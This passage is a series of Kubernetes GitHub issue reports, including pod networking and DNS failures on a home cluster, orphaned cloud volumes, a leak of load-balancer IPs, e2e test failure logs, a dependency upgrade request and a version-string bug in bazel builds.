kkc1c7.hm4r65gbyf4g059a --discovery-token-ca-cert-hash sha256:dc04b50bd56251c2c2f2b315ad6dcca9ddf0ffda964e3f3ef63fd6a7d7800a75\r \r 2: virtual box vms\r network is similar to above:\r internet <--> cable modem <--> 192.168.178.0/24 <-->  wifi  laptop <-->  bridged network  vbox master vm <--> 172.16.0.0/24 virtual network \ k8s\  <--> node vm\r networking on the vms works as expected. same steps as above to set up the cluster.\r \r    \r kubectl run alpine --image=alpine -it --restart=never -- sh\r /   ping google.de\r ping: bad address 'google.de'\r \r ping test fails for various cluster ips shown in  env  as well. only the gateway ip is pingable\r /   ip addr show\r 1: lo: <loopback,up,lower_up> mtu 65536 qdisc noqueue state unknown qlen 1000\r     link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00\r     inet 127.0.0.1/8 scope host lo\r        valid_lft forever preferred_lft forever\r 3: eth0@if12: <broadcast,multicast,up,lower_up,m-down> mtu 1450 qdisc noqueue state up \r     link/ether 0a:58:0a:f4:01:08 brd ff:ff:ff:ff:ff:ff\r     inet 10.244.1.8/24 scope global eth0\r        valid_lft forever preferred_lft forever\r /   route -n\r kernel ip routing table\r destination     gateway         genmask         flags metric ref    use iface\r 0.0.0.0         10.244.1.1      0.0.0.0         ug    0      0        0 eth0\r 10.244.0.0      10.244.1.1      255.255.0.0     ug    0      0        0 eth0\r 10.244.1.0      0.0.0.0         255.255.255.0   u     0      0        0 eth0\r /   ping 10.244.1.1\r ping 10.244.1.1  10.244.1.1 : 56 data bytes\r 64 bytes from 10.244.1.1: seq=0 ttl=64 time=0.193 ms\r 64 bytes from 10.244.1.1: seq=1 ttl=64 time=0.173 ms\r ^c\r --- 10.244.1.1 ping statistics ---\r 2 packets transmitted, 2 packets received, 0% packet loss\r round-trip min/avg/max = 0.173/0.183/0.193 ms\r    \r \r   anything else we need to know?  :\r \r at first i ran into the issue trying to use helm, where  helm ls  resulted in a timeout. hence i tried to run the above mentioned alpine pod in the default namespace, as well as in kube-system. below is some testing where alpine runs in kube-system\r \r    \r kubectl run alpine --image=alpine -it -n kube-system --restart=never -- sh\r if you don't see a command prompt, try pressing enter.\r \r /   nslookup google.de\r nslookup: can't resolve ' null ': name does not resolve\r \r nslookup: can't resolve 'google.de': try again\r /   cat /etc/resolv.conf \r nameserver 10.96.0.10\r search kube-system.svc.cluster.local svc.cluster.local cluster.local\r options ndots:5\r /   env\r kubernetes_port=tcp://10.96.0.1:443\r kubernetes_service_port=443\r kube_dns_service_port_dns_tcp=53\r hostname=alpine\r tiller_deploy_service_host=10.103.53.185\r shlvl=1\r home=/root\r kube_dns_service_host=10.96.0.10\r tiller_deploy_service_port=44134\r tiller_deploy_port=tcp://10.103.53.185:44134\r tiller_deploy_port_44134_tcp_addr=10.103.53.185\r kube_dns_port=udp://10.96.0.10:53\r tiller_deploy_port_44134_tcp_port=44134\r kube_dns_service_port=53\r tiller_deploy_port_44134_tcp_proto=tcp\r term=xterm\r kubernetes_port_443_tcp_addr=10.96.0.1\r tiller_deploy_service_port_tiller=44134\r path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\r kube_dns_port_53_tcp_addr=10.96.0.10\r kubernetes_port_443_tcp_port=443\r kubernetes_port_443_tcp_proto=tcp\r kube_dns_port_53_udp_addr=10.96.0.10\r tiller_deploy_port_44134_tcp=tcp://10.103.53.185:44134\r kube_dns_port_53_tcp_port=53\r kube_dns_port_53_tcp_proto=tcp\r kube_dns_port_53_udp_port=53\r kube_dns_service_port_dns=53\r kube_dns_port_53_udp_proto=udp\r kubernetes_port_443_tcp=tcp://10.96.0.1:443\r kubernetes_service_port_https=443\r kubernetes_service_host=10.96.0.1\r pwd=/\r kube_dns_port_53_tcp=tcp://10.96.0.10:53\r kube_dns_port_53_udp=udp://10.96.0.10:53\r /   ping 10.96.0.10\r ping 10.96.0.10  10.96.0.10 : 56 data bytes\r ^c\r --- 10.96.0.10 ping statistics ---\r 3 packets transmitted, 0 packets received, 100% packet loss\r /   ping 10.96.0.1\r ping 10.96.0.1  10.96.0.1 : 56 data bytes\r ^c\r --- 10.96.0.1 ping statistics ---\r 11 packets transmitted, 0 packets received, 100% packet loss\r /   ping 10.103.53.185\r ping 10.103.53.185  10.103.53.185 : 56 data bytes\r ^c\r --- 10.103.53.185 ping statistics ---\r 11 packets transmitted, 0 packets received, 100% packet loss\r    \r \r bringing up a 2nd instance of alpine and trying to ping it:\r    \r /   ping 10.244.1.10\r ping 10.244.1.10  10.244.1.10 : 56 data bytes\r ^c\r --- 10.244.1.10 ping statistics ---\r 5 packets transmitted, 0 packets received, 100% packet loss\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:39:04z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.1\ , gitcommit:\ eec55b9ba98609a46fee712359c7b5b365bdd920\ , gittreestate:\ clean\ , builddate:\ 2018-12-13t10:31:33z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/arm64\ }\r \r \r - os  e.g. from /etc/os-release : nanopi m4 is armbian stretch. all others, both physical and vms are debian buster\r \r i hope the information provided is sufficient. if not, please let me know and i will provide additional information. you can also reach me on slack @vonor to do some live testing.\r \r <!-- do not edit below this line -->\r 

the introduction of volume.creater allows new volumes to be created dynamically in the storage provider.  pvs are then created that point to the volume.  errors can occur in between creation of the resource  say an ebs volume in aws  and the creation of the pv pointing to that resource.  this leaves the ebs volume orphaned and without a pv.  each volume created in the infrastructure requires, at a minimum, the namespace/name of the claim for which the volume was created.  the cloud provider api should be able to query for all volumes and retrieve whatever tags are applied.  those volumes earmarked for the cluster must be reconciled with the existing pvs in the cluster to ensure they match.  gce pd api allows a text description on a pd.   ebs volumes can have tags applied.  cinder likely has an equivalent.  @thockin @saad-ali @kubernetes/rh-storage

@davidopp   kubernetes should add cluster scoped resources .  cluster scoped resources are consumable resources that do not belong to any specific node but instead belong to the cluster.  a simple example are software licenses that can be shared through an network license server.  these resources should be tracked as normal consumable resources and should be usable by the scheduler when determining if a pod can actually be scheduled.  looking at the existing objects in kubernetes i think there is definitely with expanding the pvclaim model to meet this request. i think if some thought is put into generalizing the functionality of pvclaims into a generic claim type many of the gaps would be addressed. group initialization  creating a pool of 100 resource instances  and being able to specific a resource magnitude are obvious enhancements that would have to be made.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/kubernetes-e2e-gci-gke-multizone/1882/  failed:  k8s.io  downward api should provide container's limits.cpu/memory and requests.cpu/memory as env vars {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/downward_api.go:129 expected error:     < errors.errorstring | 0xc42098b000>: {         s: \ failed to get logs from downward-api-cda41e6e-9b44-11e6-bb86-0242ac110008 for dapi-container: get https://10.240.0.6:10250/containerlogs/e2e-tests-downward-api-jj5a6/downward-api-cda41e6e-9b44-11e6-bb86-0242ac110008/dapi-container: no ssh tunnels currently open. were the targets able to accept an ssh-key for user \\\ gke-75aa14b036ac5bf37071\\\ ?\ ,     }     failed to get logs from downward-api-cda41e6e-9b44-11e6-bb86-0242ac110008 for dapi-container: get https://10.240.0.6:10250/containerlogs/e2e-tests-downward-api-jj5a6/downward-api-cda41e6e-9b44-11e6-bb86-0242ac110008/dapi-container: no ssh tunnels currently open. were the targets able to accept an ssh-key for user \ gke-75aa14b036ac5bf37071\ ? not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/util.go:2143

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-multizone/505/  failed:  k8s.io  kubectl client  k8s.io  simple pod should support port-forward {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl.go:564 nov 25 10:37:24.186: failed to read from kubectl port-forward stdout: eof /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/portforward.go:154       previous issues for this test:  28371  29604

seen by inspection, potentially a cause for a user-reported symptom.\r \r setup:\r 1. create a service, type=loadbalancer\r 2. a public ip is assigned\r 3. copy that public ip to the service's locadbalancerip field\r \r the assumption is that this guarantees your service will use that ip.  that's true, but it was true without step 3.  if you now delete this service and create a new one with that loadbalancerip, it will fail because that ip is not a gce static address, and was released with your service.\r \r we should instead throw an error if you do step 3, but have not manually promoted that ip to a static ip through gce.  this will force users to acknowledge that  they  own that ip, not kubernetes.\r \r this behavior, combined with the fact that we log-and-forget failures to release the ip can result in public addresses being \ promoted\  to static and left there, without the user having done that action == a leak.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/2309/ failed:  k8s.io  configmap updates should be reflected in volume  conformance   volume  {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:156 timed out after 300.000s. expected     <string>: content of file \ /etc/configmap-volume/data-1\ : value-1      to contain substring     <string>: value-2 /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e/common/configmap.go:155

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/4248/ failed:  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:261 expected error:     < errors.errorstring | 0xc420863c20>: {         s: \ failed to find \\\ starting listening for cql clients\\\ , last result: \\\ starting cassandra on 10.180.1.15\ cassandra_conf_dir /etc/cassandra\ cassandra_cfg /etc/cassandra/cassandra.yaml\ cassandra_auto_bootstrap true\ cassandra_broadcast_address 10.180.1.15\ cassandra_broadcast_rpc_address 10.180.1.15\ cassandra_cluster_name 'test cluster'\ cassandra_compaction_throughput_mb_per_sec\ cassandra_concurrent_compactors\ cassandra_concurrent_reads\ cassandra_concurrent_writes\ cassandra_counter_cache_size_in_mb\ cassandra_dc\ cassandra_disk_optimization_strategy ssd\ cassandra_endpoint_snitch simplesnitch\ cassandra_gc_warn_threshold_in_ms\ cassandra_internode_compression\ cassandra_key_cache_size_in_mb\ cassandra_listen_address 10.180.1.15\ cassandra_listen_interface\ cassandra_memtable_allocation_type\ cassandra_memtable_cleanup_threshold\ cassandra_memtable_flush_writers\ cassandra_migration_wait 1\ cassandra_num_tokens 32\ cassandra_rack\ cassandra_ring_delay 30000\ cassandra_rpc_address 0.0.0.0\ cassandra_rpc_interface\ cassandra_seeds cassandra-c92dz\ cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\ changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\ changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\ changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\ changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\ changed ownership of '/etc/cassandra' from root to cassandra\ openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\ \ info  07:54:12 configuration location: file:/etc/cassandra/cassandra.yaml\ info  07:54:12 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.1.15; broadcast_rpc_address=10.180.1.15; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.1.15; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-c92dz}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \ info  07:54:12 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\ info  07:54:12 global memtable on-heap threshold is enabled at 128mb\ info  07:54:12 global memtable off-heap threshold is enabled at 128mb\ exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \ error 07:54:12 exception encountered during startup\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ \\\ \ ,     }     failed to find \ starting listening for cql clients\ , last result: \ starting cassandra on 10.180.1.15     cassandra_conf_dir /etc/cassandra     cassandra_cfg /etc/cassandra/cassandra.yaml     cassandra_auto_bootstrap true     cassandra_broadcast_address 10.180.1.15     cassandra_broadcast_rpc_address 10.180.1.15     cassandra_cluster_name 'test cluster'     cassandra_compaction_throughput_mb_per_sec     cassandra_concurrent_compactors     cassandra_concurrent_reads     cassandra_concurrent_writes     cassandra_counter_cache_size_in_mb     cassandra_dc     cassandra_disk_optimization_strategy ssd     cassandra_endpoint_snitch simplesnitch     cassandra_gc_warn_threshold_in_ms     cassandra_internode_compression     cassandra_key_cache_size_in_mb     cassandra_listen_address 10.180.1.15     cassandra_listen_interface     cassandra_memtable_allocation_type     cassandra_memtable_cleanup_threshold     cassandra_memtable_flush_writers     cassandra_migration_wait 1     cassandra_num_tokens 32     cassandra_rack     cassandra_ring_delay 30000     cassandra_rpc_address 0.0.0.0     cassandra_rpc_interface     cassandra_seeds cassandra-c92dz     cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider     changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra     changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra     changed ownership of '/etc/cassandra/jvm.options' from root to cassandra     changed ownership of '/etc/cassandra/logback.xml' from root to cassandra     changed ownership of '/etc/cassandra' from root to cassandra     openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory          info  07:54:12 configuration location: file:/etc/cassandra/cassandra.yaml     info  07:54:12 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.180.1.15; broadcast_rpc_address=10.180.1.15; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.180.1.15; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-c92dz}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000      info  07:54:12 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap     info  07:54:12 global memtable on-heap threshold is enabled at 128mb     info  07:54:12 global memtable off-heap threshold is enabled at 128mb     exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730      error 07:54:12 exception encountered during startup     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:250       previous issues for this test:  27978  28817  39574

what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : gogo, gogo/protobuf\r \r ---\r \r   is this a bug report or feature request?    choose one : feature request\r \r it would be great if the  gogo/protobuf  dependency can be upgrade to the latest version. the version being used is quite old  v0.2 ish  and the latest version  v0.4  is now considered the most stable version. in addition, i am using the  kubernetes/client-go  library which is generated from  kubernetes/kubernetes . the problem is that i have another dependency in my project that requires  gogo/protobuf , but is not using any vendoring. this means that i will need to pin  gogo/protobuf  to the latest version in my  glide.yaml   or my vendor tool's lock file  even though i do not have a direct dependency  on  gogo/protobuf . see https://github.com/kubernetes/client-go/issues/148 issuecomment-289597934\r \r   kubernetes version    use  kubectl version  : 1.5.5\r \r \r   environment  :\r -   cloud provider or hardware configuration  : virtual box 5.1.8 on windows 10 64-bit\r -   os    e.g. from /etc/os-release : ubuntu 16.10\r -   kernel    e.g.  uname -a  : linux ubuntu-vm 4.8.0-42-generic  45-ubuntu smp wed mar 8 20:06:06 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : n/a\r -   others  : n/a

using a client based on https://github.com/kubernetes/kubernetes/pull/45248:\r \r    shell\r $ make clean\r $ bazel clean\r $ make bazel-release\r ...\r $ cluster/kube-up.sh\r ...\r $ bazel-bin/cmd/kubectl/kubectl version\r client version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.0-alpha.2.630+e231d4280ba82c\ , gitcommit:\ e231d4280ba82ca16317a3adb019c1b48db1263f\ , gittreestate:\ clean\ , builddate:\ 2017-05-03t17:37:42z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ $format:%h$\ , gittreestate:\ not a git tree\ , builddate:\ 1970-01-01t00:00:00z\ , goversion:\ go1.8.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r oddly:\r    shell\r $ bazel-bin/cmd/kube-apiserver/kube-apiserver --version\r kubernetes v1.7.0-alpha.2.630+e231d4280ba82c\r    \r but also\r    shell\r $ strings bazel-bin/cmd/kube-apiserver/kube-apiserver | grep \ not a git tree\ \r missing clientmissing listermsg_sent_totalmust be uniqueneed more datanil elem type!no digits readno host in urino module datano such devicenobuiltintypesnot a git treenot authorizednot in ranges  ... \r    \r \r i thought this used to work at some point in the past.\r \r /cc @spxtr @mikedanese

